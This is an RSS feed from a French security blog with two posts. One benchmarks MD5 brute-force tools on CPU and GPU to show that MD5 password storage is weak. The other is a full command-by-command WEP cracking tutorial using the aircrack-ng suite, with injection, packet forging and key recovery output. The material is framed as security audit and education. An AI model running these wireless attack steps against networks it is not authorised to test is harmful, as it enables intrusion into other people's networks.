<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Le blog de John Jean &#187; cracker</title>
	<atom:link href="http://www.john-jean.com/blog/tag/cracker/feed" rel="self" type="application/rss+xml" />
	<link>http://www.john-jean.com/blog</link>
	<description>Actualité de sécurité informatique</description>
	<lastBuildDate>Wed, 19 May 2010 09:19:09 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Bruteforcer une chaine MD5: Nouvelles méthodes et comparatif des softs</title>
		<link>http://www.john-jean.com/blog/crypto/bruteforcer-une-chaine-md5-nouvelles-methodes-et-comparatif-des-softs-159</link>
		<comments>http://www.john-jean.com/blog/crypto/bruteforcer-une-chaine-md5-nouvelles-methodes-et-comparatif-des-softs-159#comments</comments>
		<pubDate>Tue, 31 Mar 2009 19:52:24 +0000</pubDate>
		<dc:creator>John JEAN</dc:creator>
				<category><![CDATA[Crypto]]></category>
		<category><![CDATA[bruteforce]]></category>
		<category><![CDATA[CPU]]></category>
		<category><![CDATA[cracker]]></category>
		<category><![CDATA[GPU]]></category>
		<category><![CDATA[md5]]></category>
		<category><![CDATA[Sécurité informatique]]></category>

		<guid isPermaLink="false">http://www.john-jean.com/blog/divers/bruteforcer-une-chaine-md5-nouvelles-methodes-et-comparatif-des-softs-159</guid>
		<description><![CDATA[La plupart des développeurs utilisent généralement le MD5 pour stocker les données sensibles de leurs utilisateurs (mot de passe, parfois numéro de carte bleu, et ainsi de suite&#8230;). Ces derniers ont tendance à considérer cette méthode de hachage comme fiable alors qu&#8217;elle ne l&#8217;est pas. En effet, dès 1996, des chercheurs en sécurité ont mis [...]]]></description>
			<content:encoded><![CDATA[<p><img alt="nvidia logoblog" align="left" src="http://www.john-jean.com/blog/wp-content/uploads/2009/03/nvidia-logoblog-1.jpg" width="165" height="158" /></p>
<p>La plupart des développeurs utilisent généralement le MD5 pour stocker les données sensibles de leurs utilisateurs (mot de passe, parfois numéro de carte bleu, et ainsi de suite&#8230;). Ces derniers ont tendance à considérer cette méthode de hachage comme fiable alors qu&#8217;elle ne l&#8217;est pas. En effet, dès 1996, des chercheurs en sécurité ont mis en exergue la possibilité de créer des collisions. En 2004, les collisions complètes sont découvertes et le MD5 n&#8217;est dès lors plus considéré comme fiable d&#8217;un point de vue purement cryptographique. Cependant, sa facilité d&#8217;implémentation avec PHP à l&#8217;aide de md5(); et la méconnaissance des développeurs fait que cette méthode est encore très largement rependue au détriment de fonctions de hachage plus récentes et donc plus robustes comme SHA-256.</p>
<p>Suite à ces découvertes, plusieurs logiciels ont vu le jour afin de permettre de bruteforcer cette méthode de hachage (et pas uniquement celle-ci). Je suis souvent amené à devoir cracker ces chaines pour montrer au décideur pressé que le travail d&#8217;obfuscation des données par son développeur ou sysadmin n&#8217;est en réalité pas vraiment fiable. &laquo;&nbsp;Oui vous avez réussi à accéder à ma base de donnée, et alors ? Les données de nos clients sont cryptées&nbsp;&raquo;. Pour montrer au décideur qu&#8217;il fait fausse route, je me dois donc souvent de &laquo;&nbsp;bruteforcer&nbsp;&raquo; une ou plusieurs informations.</p>
<p><span id="more-159"></span>
<p>Les logiciels automatisant le bruteforce ont assez largement évolués récemment, passant d&#8217;une utilisation CPU, à CPU multi-core, et désormais CPU + GPU. En effet, le reversing des méthodes de hachage fascine, et remet chaque jour un peu plus en question la sécurité basée sur ces méthodes (surtout MD5 là pour le coup). Il suffit par exemple de voir l&#8217;excellent travail sur les certificats SSL: <a title="Creating a rogue CA certificate" href="http://www.win.tue.nl/hashclash/rogue-ca/" target="_blank">Creating a rogue CA certificate</a>. Un fail dans une méthode remet en question bien plus de choses que la méthode en elle-même.</p>
<p>GPU est l&#8217;acronyme de Graphics Processing Unit, grosso-modo, l&#8217;utilisation de la puissance de calcul de votre carte graphique. Ce vecteur de puissance était jusqu&#8217;alors inexploité pour la simple et bonne raison que leur utilisation était closed-source. Nvidia a largement ouvert et démocratisé l&#8217;accessibilité aux processeurs graphiques en mettant à disposition un environnement de développement nommé CUDA.</p>
<p>Voici donc un petit comparatif des logiciels, le but est avant tout de démontrer en quoi l&#8217;utilisation des GPUs constitue une avancée non négligeable (tiens ça me rappelle une histoire de PS3 montées en grappes), et surtout de montrer qu&#8217;à fonctionnement équivalent, ils ne sont pas tous aussi rapides. L&#8217;autre but est bien évidement de vous sensibiliser si vous utilisez toujours cette méthode de cryptage dans vos sites (je fais le malin, mais WordPress utilise le md5 pour stocker les passwords).</p>
<p><strong>Machine utilisée pour ce test:</strong><br />
Dell XPS M1530<br />
Intel Core 2 Duo CPU T9300 2,50 Ghz<br />
NVIDIA GeForce Go 8600M GT, 256 MB</p>
<p><strong>Comparatif des softs</strong><br />
J&#8217;étais parti pour inclure John the Ripper dans le test, mais il fallait employer un hack. Je me suis donc concentré sur les softs faisant bien nativement du bruteforce de MD5.</p>
<p><strong><em>CAIN</em></strong> (<a href="http://www.oxid.it/cain.html" target="_blank">http://www.oxid.it/cain.html</a>)<br />
Bon, à la décharge de CAIN, il ne sert pas uniquement à bruteforcer des hashs. C&#8217;est un couteau suisse qui permet de faire de l&#8217;ARP Poisoning, d&#8217;appliquer des filtres de snif etc. Donc bon, considérons que sa GUI ainsi que l&#8217;essence du soft font que ce n&#8217;est pas sa force, mais tout de même:<strong><em><br />
Résultat obtenu:</em></strong> <span style="COLOR: #ff0000">7 Millions h/s</span></p>
<p><img alt="CAIN" src="http://www.john-jean.com/blog/wp-content/uploads/2009/03/cain.jpg" width="450" height="333" /></p>
<p><img alt="CAIN2" src="http://www.john-jean.com/blog/wp-content/uploads/2009/03/cain2.gif" width="450" height="109" /> <img alt="CAIN3" src="http://www.john-jean.com/blog/wp-content/uploads/2009/03/cain3-1.gif" width="86" height="119" /></p>
<p><strong><em>MDcrack (Shot 1)</em></strong> (<a title="Download mdcrack" href="http://membres.lycos.fr/mdcrack/" target="_blank">http://membres.lycos.fr/mdcrack/</a>)<br />
Probablement l&#8217;un des plus anciens et des plus connus soft de bruteforce de MD5. Tout en command-line.<br />
Dans ce premier shot, pour simuler l&#8217;évolution, je l&#8217;ai limité à un seul CORE pour le CPU.<em><br />
<strong>Résultat obtenu:</strong></em> <span style="COLOR: #ff0000">12,5 Millions h/s</span></p>
<p><img alt="MDCRACK1" src="http://www.john-jean.com/blog/wp-content/uploads/2009/03/mdcrack1.jpg" width="450" height="235" /></p>
<p><img alt="MDCRACK12" src="http://www.john-jean.com/blog/wp-content/uploads/2009/03/mdcrack12.jpg" width="450" height="115" /> <img alt="MDCRACK13" src="http://www.john-jean.com/blog/wp-content/uploads/2009/03/mdcrack13.jpg" width="90" height="123" /></p>
<p>Le CPU est sollicité à 50% ce qui est parfaitement logique compte tenu du fait que j&#8217;ai un Dual CORE.</p>
<p><strong><em>MDcrack (Shot 2)</em></strong> (<a title="Download mdcrack" href="http://membres.lycos.fr/mdcrack/" target="_blank">http://membres.lycos.fr/mdcrack/</a>)<br />
Pour le second shot, je décide d&#8217;utiliser pleinement mon CPU. C&#8217;est à dire, avant que l&#8217;on utilise les GPU, ce qui se faisait de mieux en matière de bruteforce. J&#8217;ai un core DUO, je double sans surprise.<em><br />
<strong>Résultat obtenu:</strong></em> <span style="COLOR: #ff0000">24 Millions h/s</span></p>
<p><img alt="MDCRACK23" src="http://www.john-jean.com/blog/wp-content/uploads/2009/03/mdcrack23-2.jpg" width="450" height="235" /></p>
<p><img alt="MDCRACK2" src="http://www.john-jean.com/blog/wp-content/uploads/2009/03/mdcrack2-2.gif" width="450" height="111" /> <img alt="MDCRACK22" src="http://www.john-jean.com/blog/wp-content/uploads/2009/03/mdcrack22-3.gif" width="90" height="120" /></p>
<p><strong><em>GPU MD5 CRACK</em></strong> (<a href="http://bvernoux.free.fr/md5/index.php" target="_blank">http://bvernoux.free.fr/md5/index.php</a>)<br />
Cette fois nous utilisons un bruteforcer sollicitant les GPUs. Malhreusement il dispose d&#8217;une GUI qui doit impacter ses perfs mais voyons tout de même la différence:<em><br />
<strong>Résultat obtenu:</strong></em> <span style="COLOR: #ff0000">44 Millions h/s !<br /></span></p>
<p><img alt="GPUMD5" src="http://www.john-jean.com/blog/wp-content/uploads/2009/03/gpumd5.jpg" width="450" height="378" /></p>
<p><img alt="GPUMD52" src="http://www.john-jean.com/blog/wp-content/uploads/2009/03/gpumd52.gif" width="450" height="115" /> <img alt="GPU MD53" src="http://www.john-jean.com/blog/wp-content/uploads/2009/03/gpu-md53.gif" width="88" height="120" /></p>
<p><strong><em>Extreme GPU Bruteforcer</em></strong> (<a href="http://www.insidepro.com/eng/egb.shtml" target="_blank">http://www.insidepro.com/eng/egb.shtml</a>)<br />
Un autre GPU Bruteforcer,Â  cette fois en command-line, mais on remarque que lui non plus ne sollicte pas le CPU au maximum.<em><br />
<strong>Résultat obtenu:</strong></em> <span style="COLOR: #ff0000">53 Millions h/s !<br /></span></p>
<p><img alt="EGB3" src="http://www.john-jean.com/blog/wp-content/uploads/2009/03/egb3.jpg" width="450" height="237" /></p>
<p><img alt="EGB1" src="http://www.john-jean.com/blog/wp-content/uploads/2009/03/egb1.gif" width="450" height="108" /> <img alt="EGB2" src="http://www.john-jean.com/blog/wp-content/uploads/2009/03/egb2.gif" width="89" height="116" /></p>
<p><strong><em>BarsWF</em></strong> (<a href="http://3.14.by/en/md5" target="_blank">http://3.14.by/en/md5</a>)<em><br /></em>Là, on passe en mode uber-gore. On constate avec ce logiciel une réelle maximisation de l&#8217;utilisation CPU + GPU. La courbe d&#8217;utilisation CPU n&#8217;est plus sinusoidale ici. Je n&#8217;ai pas une grosse config pour le coup, reportez vous à la conclusion pour voir ce qu&#8217;il a vraiment dans le sac :-)<br />
<strong><em>Résultat obtenu:</em></strong> <strong><span style="COLOR: #ff0000">124 Millions h/s !<br /></span></strong></p>
<p><img alt="BarsWF1" src="http://www.john-jean.com/blog/wp-content/uploads/2009/03/barswf1.jpg" width="450" height="222" /></p>
<p><img alt="BarsW2" src="http://www.john-jean.com/blog/wp-content/uploads/2009/03/barsw2-1.gif" width="450" height="111" /> <img alt="BARSW3" src="http://www.john-jean.com/blog/wp-content/uploads/2009/03/barsw3-1.gif" width="91" height="114" /></p>
<p><strong>Conclusion</strong></p>
<p>Vous devez mieux comprendre pourquoi l&#8217;image illustrant ce billet est un logo <a href="http://www.nvidia.com/object/cuda_home.html">Nvidia</a>. La rapidité de bruteforce via GPU n&#8217;est en rien comparable à ce que l&#8217;on pouvait exploiter il y a encore quelques années. J&#8217;ai demandé à un collègue qui a un double CORE, et une CG ATI (ATI Radeon HD 4870) de réaliser le test pour moi:</p>
<p>*Â¦ Key: kshnmhwi Avg.Total: 1066.40 MHash/sec Â¦</p>
<p>Â¦ Hash:87a2f7772d361d70d4b43cb5141a50e1 Â¦</p>
<p>Â¦ Progress: 28.92 % ETC 0 days 0 hours 2 min 19 sec Â¦</p>
<p>+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;+</p>
<p>&#8211; Key is: johnjean&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
<em><strong>Résultat obtenu avec BarWF</strong>:</em> <span style="COLOR: #ff0000"><strong>1 066 Millions h/s !<br /></strong><span style="COLOR: #000000">Deux minutes pour mettre à mal la chaine: johnjean</span><strong><br /></strong></span></p>
<p>Je n&#8217;ai évoqué ici que la maximisation de tentative de hash/s, pas le temps global que met une chaine à être forcée. Lors de mon prochain billet je tenterai d&#8217;établir un comparatif avec les méthodes d&#8217;attaque par rainbow table. A noter également que je n&#8217;ai pas parlé de la suite <a href="http://www.elcomsoft.com/edpr.html" target="_blank">Elcomsoft Distributed Password Recovery</a> qui permet de monter des grappes de travail. En gros l&#8217;application se divise en deux parties une cliente et une serveur. On peut donc créer un serveur et relier 20 machines dessus. Avec des machines comme celle de mon collègue (<strong>1 066 Millions h/s)</strong> bruteforcer une base de donnée client pour en extraire les pass et plus ne doit pas prendre bien longtemps. N&#8217;hésitez donc pas à modifier vos méthodes de stockage même si les énorme montage sont généralement reservé aux agences à trois lettres :-) Il va sans dire que les signatures de fichier en MD5 sont tout aussi faillible que ce que vous encryptez.</p>
<p>PS: Voici plus d&#8217;un mois que j&#8217;avais posté, mais je viens de trouver un logiciel me permettant de blogger depuis le train, cela devrait reprendre. (<a href="http://www.blogdesk.org/en/index.htm" target="_blank">BlogDesk</a>)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.john-jean.com/blog/crypto/bruteforcer-une-chaine-md5-nouvelles-methodes-et-comparatif-des-softs-159/feed</wfw:commentRss>
		<slash:comments>24</slash:comments>
		</item>
		<item>
		<title>Cracker une clé WEP avec une carte Intel Corporation PRO/Wireless 3945ABG</title>
		<link>http://www.john-jean.com/blog/securite-informatique/comment-cracker-une-cle-wep-avec-une-carte-intel-corporation-prowireless-3945abg-37</link>
		<comments>http://www.john-jean.com/blog/securite-informatique/comment-cracker-une-cle-wep-avec-une-carte-intel-corporation-prowireless-3945abg-37#comments</comments>
		<pubDate>Sun, 21 Dec 2008 19:18:01 +0000</pubDate>
		<dc:creator>John JEAN</dc:creator>
				<category><![CDATA[Sécurité informatique]]></category>
		<category><![CDATA[aircrack]]></category>
		<category><![CDATA[aireplay]]></category>
		<category><![CDATA[airmon]]></category>
		<category><![CDATA[airodump]]></category>
		<category><![CDATA[blog]]></category>
		<category><![CDATA[clé]]></category>
		<category><![CDATA[cracker]]></category>
		<category><![CDATA[faille]]></category>
		<category><![CDATA[Informatique]]></category>
		<category><![CDATA[wep]]></category>

		<guid isPermaLink="false">http://www.john-jean.com/blog/?p=37</guid>
		<description><![CDATA[Pour les audits de sécurité informatique, je suis souvent amené à cracker des clés WEP. La distribution communément utilisée pour cela est BackTrack. Tout d&#8217;abord parce que c&#8217;est un LiveCD, mais également parce que les softs nécessaires à l&#8217;audit WiFi sont déjà compilés. Mon nouveau laptop dispose d&#8217;une carte Wifi Intel Corporation PRO/Wireless 3945ABG. J&#8217;ai [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft" src="http://www.john-jean.com/wifi_icon.jpg" alt="Logo Wifi" width="165" height="114" /> Pour les <a title="audit securite" href="http://www.wargan.com" target="_blank">audits de sécurité informatique</a>, je suis souvent amené à cracker des clés WEP. La distribution communément utilisée pour cela est <a href="http://www.remote-exploit.org/backtrack.html" target="_blank">BackTrack</a>. Tout d&#8217;abord parce que c&#8217;est un LiveCD, mais également parce que les softs nécessaires à l&#8217;audit WiFi sont déjà compilés. Mon nouveau laptop dispose d&#8217;une carte Wifi Intel Corporation PRO/Wireless 3945ABG. J&#8217;ai googlé pour voir si un endroit recensait les méthodes d&#8217;attaques avec cette carte, et je n&#8217;ai pas trouvé de résultat pertinent. J&#8217;ai donc entrepris de rédiger un HowTo afin que cela puisse servir aux personnes moins expertes, en tout cas moins patientes et qui entreprendraient de tester la sécurité de leur réseau.</p>
<p><span id="more-37"></span>Il y a deux méthodes pour analyser les données: soit l&#8217;on se contente de sniffer passivement, soit on utilise une attaque par framentation qui permet d&#8217;injecter des packets et donc de réduire considérablement le temps de sniffing. A noter que <a href="http://www.remote-exploit.org/backtrack.html" target="_blank">BackTrack 3</a> optimise assez largement les algos pour cracker, il n&#8217;est plus nécessaire d&#8217;avoir beaucoup d&#8217;IVs pour décrypter une clé WEP.</p>
<p>Après avoir booté sur le LiveCD, voici comment cela se présente:</p>
<p>// Tout d&#8217;abord on charge le driver pour la fameuse carte<br />
<span style="font-size: x-small;"><span style="font-family: arial,helvetica,sans-serif;">bt ~ # modprobe -r iwl3945<br />
bt ~ # modprobe ipwraw</span></span></p>
<p><span style="font-size: small;">/</span>/ On la passe en mode monitor<br />
<span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: x-small;">bt ~ # airmon-ng start wifi0</span></span></p>
<p>// On va dans un premier temps rechercher les réseaux wifi actifs et ceux qui ont le plus de DATA qui transitent ainsi que la meilleur couverture. Les data correspondent aux IVs nécessaires à crackerla clé WEP.<br />
<span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: x-small;">bt ~ # airodump-ng wifi0</span></span></p>
<p>// Le but est de prendre celle qui a le plus de beacons, et lorsque l&#8217;on choisit celle-ci, on repère bien le channel, le BSSID et l&#8217;ESSID. Dans mon cas, supposons:<br />
<span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: x-small;">Channel: 11<br />
BSSID: 00:01:02:03:04:05<br />
ESSID: RESEAU-CRYPT</span></span></p>
<p>A partir d&#8217;ici on a grosso-modo les deux solutions en question, sniffer passivement, où bien injecter les fameuses données pour accélérer le processus. Si vous voyez d&#8217;emblé beaucoup de donnée transiter, sniffer + cracking peut potentiellement suffire.</p>
<p>// Je manque de patience, je vais réaliser une attaque par fragmentation pour injecter de nombreuses données. Tout d&#8217;abord, je vais m&#8217;auth sur le système distant (-e représente le SSID de la cible, -h représente l&#8217;adresse Mac source, généralement, nous):<br />
<span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: x-small;">bt ~ # aireplay-ng -1 0 -e RESEAU-CRYPT -h 05:04:03:02:01:00 wifi0</span></span></p>
<p>Généralement cette commande doit vous retourner:<br />
<span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: small;">b<span style="font-size: x-small;">t ~ # aireplay-ng -1 0 -e RESEAU-CRYPT -h 05:04:03:02:01:00 wifi0<br />
11:56:39  Waiting for beacon frame (ESSID: RESEAU-CRYPT) on channel 11<br />
Found BSSID &laquo;&nbsp;00:01:02:03:04:05&#8243; to given ESSID &laquo;&nbsp;RESEAU-CRYPT&nbsp;&raquo;.</span></span></span></p>
<p><span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: x-small;">11:56:39  Sending Authentication Request (Open System) [ACK]<br />
11:56:39  Authentication successful<br />
11:56:39  Sending Association Request [ACK]<br />
11:56:39  Association successful (AID: 1)</span></span></p>
<p>Cependant il arrive parfois que vous obteniez une erreur de ce type (si vous avez laissé le scan tourner par exemple).</p>
<p><span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: x-small;">bt ~ # aireplay-ng -1 0 -e RESEAU-CRYPT -h 05:04:03:02:01:00 wifi0<br />
11:55:23  Waiting for beacon frame (ESSID: RESEAU-CRYPT) on channel 12<br />
Found BSSID &laquo;&nbsp;00:01:02:03:04:05&#8243; to given ESSID &laquo;&nbsp;RESEAU-CRYPT&nbsp;&raquo;.<br />
11:55:23  wifi0 is on channel 12, but the AP uses channel 11</span></span></p>
<p>Comment résolvons-nous cela ? Simplement en faisant la bascule sur la bonne interface:</p>
<p><span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: x-small;">bt ~ # airmon-ng start wifi0 11<br />
wifi0           Centrino a/b/g  ipwraw-ng (monitor mode enabled)</span></span></p>
<p>//Bien, après cet aparté, revenons à nos moutons. Vous en êtes normalement au 11:56:39  Association successful (AID: 1).  Nous allons désormais générer une keystream valide afin de forger notre packet d&#8217;injection:</p>
<p><span style="font-size: x-small;"><span style="font-family: arial,helvetica,sans-serif;">bt ~ # aireplay-ng -5 -e RESEAU-CRYPT wifi0<br />
No source MAC (-h) specified. Using the device MAC (05:04:03:02:01:00)<br />
11:57:55  Waiting for beacon frame (ESSID: RESEAU-CRYPT) on channel 11<br />
Found BSSID &laquo;&nbsp;00:01:02:03:04:05&#8243; to given ESSID &laquo;&nbsp;RESEAU-CRYPT&nbsp;&raquo;.<br />
11:57:55  Waiting for a data packet&#8230;<br />
Read 2791 packets&#8230;</span></span></p>
<p><span style="font-size: x-small;"><span style="font-family: arial,helvetica,sans-serif;">Size: 371, FromDS: 0, ToDS: 1 (WEP)</span></span></p>
<p><span style="font-size: x-small;"><span style="font-family: arial,helvetica,sans-serif;">BSSID  =  00:01:02:03:04:05<br />
Dest. MAC  =  FF:FF:FF:FF:FF:FF<br />
Source MAC  =  BLABLA</span></span></p>
<p><span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: x-small;">0&#215;0000:  0841 3a01 0016 3810 7484 0013 ce8a 8259  .A:&#8230;8.t&#8230;&#8230;Y<br />
0&#215;0010:  ffff ffff ffff 1000 0100 0000 2f23 a566  &#8230;&#8230;&#8230;&#8230;/#.f<br />
0&#215;0020:  8a89 e333 2c18 02c2 0c65 fc79 7eb9 7398  &#8230;3,&#8230;.e.y~.s.<br />
0&#215;0030:  42fc a81c e682 179c ac10 f1a3 d83e 3770  B&#8230;&#8230;&#8230;&#8230;&gt;7p<br />
0&#215;0040:  a3ff cb34 62e0 e232 3e17 8340 544b ee1d  &#8230;4b..2&gt;..@TK..<br />
0&#215;0050:  f06c a543 3b51 05d6 bdb0 a10a a159 4fbd  .l.C;Q&#8230;&#8230;.YO.<br />
0&#215;0060:  2499 1efc 58b3 1cfc bc72 b109 a9ee 29b6  $&#8230;X&#8230;.r&#8230;.).<br />
0&#215;0070:  6234 b6d8 4b90 a3b0 a1ac f626 5603 82d9  b4..K&#8230;&#8230;&amp;V&#8230;<br />
0&#215;0080:  5d0e 27a1 453a f536 86b5 ee7c f73f 9bc1  ].&#8217;.E:.6&#8230;|.?..<br />
0&#215;0090:  2813 b8e4 a24c 3bce dc98 2be2 6a79 c313  (&#8230;.L;&#8230;+.jy..<br />
0x00a0:  f530 7596 4430 958d 2406 de88 7664 481f  .0u.D0..$&#8230;vdH.<br />
0x00b0:  7cf2 c2ac 8211 a26f c217 1fd1 d30f 1949  |&#8230;&#8230;o&#8230;&#8230;.I<br />
0x00c0:  b12e 6507 cab2 6619 d6d8 9a1c a018 720c  ..e&#8230;f&#8230;&#8230;.r.<br />
0x00d0:  e004 2c4f 533b 1326 0c57 0006 2950 e468  ..,OS;.&amp;.W..)P.h<br />
&#8212; CUT &#8212;</span></span></p>
<p><span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: x-small;">Use this packet ? y</span></span></p>
<p><span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: x-small;">Saving chosen packet in replay_src-0726-115911.cap<br />
11:59:20  Data packet found!<br />
11:59:20  Sending fragmented packet<br />
11:59:20  Got RELAYED packet!!<br />
11:59:20  Trying to get 384 bytes of a keystream<br />
11:59:20  Got RELAYED packet!!<br />
11:59:20  Trying to get 1500 bytes of a keystream<br />
11:59:20  Got RELAYED packet!!<br />
Saving keystream in fragment-0726-115920.xor<br />
Now you can build a packet with packetforge-ng out of that 1500 bytes keystream</span></span></p>
<p>//Maintenant que nous avons notre keystream, on change de soft le temps de générer le packet d&#8217;injection. Packetforge-ng est là pour ca.<br />
//arp définit le type d&#8217;attaque<br />
//-y passe le fragment à utiliser généré par airplay<br />
//-a adresse MAC de la cible (BSSID)<br />
//-h adresse MAC de l&#8217;attaquant<br />
//-k notre adresse ip suppossée<br />
//-l adresse ip supposée du routeur<br />
//-w permet d&#8217;écrire le packet d&#8217;injection final<br />
<span style="font-size: x-small;"><span style="font-family: arial,helvetica,sans-serif;">bt ~ # </span></span><span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: x-small;">packetforge-ng  &#8211;arp -y fragment-0726-115920.xor -a 00:01:02:03:04:05 -h 05:04:03:02:01:00 -k 192.168.1.100 -l 192.168.1.1 -w audit.cap<br />
Wrote packet  to: alice.cap</span></span></p>
<p>//Essayons maintenant d&#8217;injecter des données histoire de voir si tout a fonctionné:</p>
<p><span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: x-small;">bt ~ # aireplay-ng -3 -e RESEAU-CRYPT -h 05:04:03:02:01:00 -r audit.cap wifi0<br />
12:04:07  Waiting for beacon frame (ESSID: RESEAU-CRYPT) on channel 11<br />
Found BSSID &laquo;&nbsp;00:01:02:03:04:05&#8243; to given ESSID &laquo;&nbsp;RESEAU-CRYPT&nbsp;&raquo;.<br />
Saving ARP requests in replay_arp-0726-120407.cap<br />
You should also start airodump-ng to capture replies.<br />
Read 5394 packets (got 2051 ARP requests and 3234 ACKs), sent 2652 packets&#8230;(500 pps)</span></span></p>
<p>Bien, tout fonctionne, à partir de maintenant, cracker la clé wep ne prendra pas plus de trois minutes.  Il faut parfois se ré-authentifier avant de lancer l&#8217;injection de donnée. Vous pouvez stopper l&#8217;injection tout marche. Pour cracker définitivement la clé, cela se passe en trois temps:</p>
<p>// On sniffe l&#8217;interface sur laquelle nous avons travaillé:<br />
<span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: x-small;">bt ~ # airodump-ng -w capture &#8211;channel 11 wifi0</span></span></p>
<p>// Les datas ne bougent alors pas beaucoup. On injecte donc les données:<br />
<span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: x-small;">bt ~ # aireplay-ng -3 -e RESEAU-CRYPT -h 05:04:03:02:01:00 -r audit.cap wifi0</span></span></p>
<p>//Enfin, on lance, en parallèle à l&#8217;envoi de donnée, le crack du fichier dans lequel on écrit la capture. Ce n&#8217;est pas grave si lorsque vous lancez le crack il n&#8217;y a pas encore assez d&#8217;IVs, il est reloadé régulièrement.</p>
<p><span style="font-family: arial,helvetica,sans-serif;"><span style="font-size: x-small;">bt ~ # aircrack-ng capture-01.cap<br />
Opening capture-01.cap<br />
Read 121863 packets.</span></span></p>
<p><span style="font-size: x-small;"><span style="font-family: arial,helvetica,sans-serif;">#  BSSID              ESSID                     Encryption</span></span></p>
<p><span style="font-size: x-small;"><span style="font-family: arial,helvetica,sans-serif;">1  RESEAU-CRYPT2                   No data &#8211; WEP or WPA<br />
2  RESEAU-CRYPT3                   No data &#8211; WEP or WPA<br />
3  00:01:02:03:04:05               RESEAU-CRYPT              WEP (33689 IVs)<br />
4  RESEAU-CRYPT4                   No data &#8211; WEP or WPA<br />
5  RESEAU-CRYPT5                   None (0.0.0.0)<br />
6  RESEAU-CRYPT6                   No data &#8211; WEP or WPA<br />
7  RESEAU-CRYPT7                   No data &#8211; WEP or WPA</span></span></p>
<p><span style="font-size: x-small;"><span style="font-family: arial,helvetica,sans-serif;">Index number of target network ? 3</span></span></p>
<p>// On selectionne le ESSID sur lequel on a travaillé, et là magie:</p>
<p><span style="font-size: x-small;"><span style="font-family: arial,helvetica,sans-serif;">bt ~ # </span></span><span style="font-size: x-small;"><span style="font-family: arial,helvetica,sans-serif;">Aircrack-ng 1.0 rc1 r1085</span></span></p>
<p><span style="font-size: x-small;"><span style="font-family: arial,helvetica,sans-serif;">[00:00:03] Tested 1339440 keys (got 33677 IVs)</span></span></p>
<p><span style="font-size: x-small;"><span style="font-family: arial,helvetica,sans-serif;">KB    depth   byte(vote)<br />
0    1/  2   2C(40192) 5E(39424) A0(39424) A4(39424) DA(39168) 28(38912) 33(38912)<br />
1    0/  1   A6(47616) 30(41472) 15(40960) BF(40960) 35(40448) 42(40192) DE(39936)<br />
2    0/  1   FA(48640) DE(41216) 11(40192) B8(39936) 29(39680) 3F(39168) 68(39168)<br />
3    0/  1   BA(50432) 68(41216) 62(40704) EA(39936) ED(39936) BB(39680) 13(39424)<br />
4    0/  2   3E(44288) 9F(43264) 14(42752) 89(41216) A2(40960) 3E(40192) 7E(39680)<br />
5    0/  1   A0(46080) 6B(43264) 07(41472) 5F(41472) 0F(41216) DB(41216) EF(40448)<br />
6    1/  2   16(41984) 79(40448) 8E(40448) F1(39936) F2(39936) 66(39680) AB(39680)<br />
7    0/  2   7A(44032) 46(43264) 97(41984) 77(41216) 5A(39936) E0(39936) 18(39680)<br />
8    0/  1   75(45056) 75(42752) 67(41472) 34(40960) 08(40448) 87(40448) 15(40192)<br />
9    0/  1   F3(46336) 26(41216) E8(41216) 74(40960) C9(40448) CD(40448) 2B(39936)<br />
10   17/ 10   E7(38400) 10(38144) 27(38144) 7A(38144) A8(38144) B1(38144) 4C(37888)<br />
11    0/  2   AB(46080) DD(45056) 98(41472) DC(41216) 26(40960) 3D(40960) 1A(40704)<br />
12    0/  1   A8(46080) 9A(41728) C7(41216) 00(39680) 1A(39168) 62(39168) CD(39168)</span></span></p>
<p><span style="font-size: x-small;"><span style="font-family: arial,helvetica,sans-serif;">KEY FOUND! [blabla]<br />
Decrypted correctly: 100%</span></span></p>
<p>Si les suites air* ne vous sont pas familières, je vous conseille d&#8217;aller vous balader par ici:<br />
<a href="http://linux.die.net/man/1/airmon-ng" target="_blank">http://linux.die.net/man/1/airmon-ng</a><br />
<a href="http://linux.die.net/man/1/airodump-ng" target="_blank">http://linux.die.net/man/1/airodump-ng</a><br />
<a href="http://linux.die.net/man/1/aireplay-ng" target="_blank">http://linux.die.net/man/1/aireplay-ng</a><br />
<a href="http://linux.die.net/man/1/packetforge-ng" target="_blank">http://linux.die.net/man/1/packetforge-ng</a><br />
<a href="http://linux.die.net/man/1/aircrack-ng" target="_blank">http://linux.die.net/man/1/aircrack-ng</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.john-jean.com/blog/securite-informatique/comment-cracker-une-cle-wep-avec-une-carte-intel-corporation-prowireless-3945abg-37/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
	</channel>
</rss>
